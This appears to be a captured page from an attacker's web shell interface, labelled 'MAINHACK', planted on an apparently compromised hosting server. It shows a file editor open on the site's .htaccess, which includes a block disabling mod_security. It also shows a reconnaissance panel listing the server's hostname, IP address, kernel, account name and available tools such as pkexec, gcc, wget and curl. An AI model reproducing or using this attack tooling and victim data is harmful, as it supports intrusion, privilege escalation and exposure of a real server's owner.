[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: .htaccess
<IfModule mod_rewrite.c> <IfModule mod_negotiation.c> Options -MultiViews -Indexes </IfModule> RewriteEngine On # option to force redirect to ssl (https) - uncomment the two lines below # RewriteCond %{HTTPS} !=on # RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] # Handle Authorization Header RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # --------------------------------------------------------------------------------------- # MODULES - 4 Feb 2025 # rewrite the resources lower case URL to match the server directory case # https://domain.com/application/modules/foobar/resources # https://domain.com/application/Modules/Foobar/Resources # --------------------------------------------------------------------------------------- RewriteCond %{REQUEST_URI} ^/application/modules/ [NC] RewriteRule ^application/modules/(.*)$ /application/Modules/$1 [R=301,L] RewriteCond %{REQUEST_URI} ^/application/Modules/services/ [NC] RewriteRule ^application/Modules/services/(.*)$ /application/Modules/Services/$1 [R=301,L] RewriteCond %{REQUEST_URI} ^/application/Modules/Services/resources/ [NC] RewriteRule ^application/Modules/Services/resources/(.*)$ /application/Modules/Services/Resources/$1 [R=301,L] # Redirect Trailing Slashes If Not A Folder... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [L,R=301] # Handle Front Controller... RewriteCond %{REQUEST_URI} !(\.css|\.js|\.svg|\.png|\.jpg|\.gif|robots\.txt|\.png|\.ttf|\.woff)$ [NC] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] </IfModule> # --------------------------------------------------------------------------------------- # Litespeed Server - 20 Jan 2025 # Disable POST request filtering that is causing 403 permission denied errors # when submutting forms on Litespeed servers # --------------------------------------------------------------------------------------- <IfModule Litespeed> <IfModule mod_security.c> SecRuleEngine Off </IfModule> </IfModule> # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php83” package as the default “PHP” programming language. <IfModule mime_module> AddHandler application/x-httpd-ea-php83___lsphp .php .php8 .phtml </IfModule> # php -- END cPanel-generated handler, do not edit
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.75 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002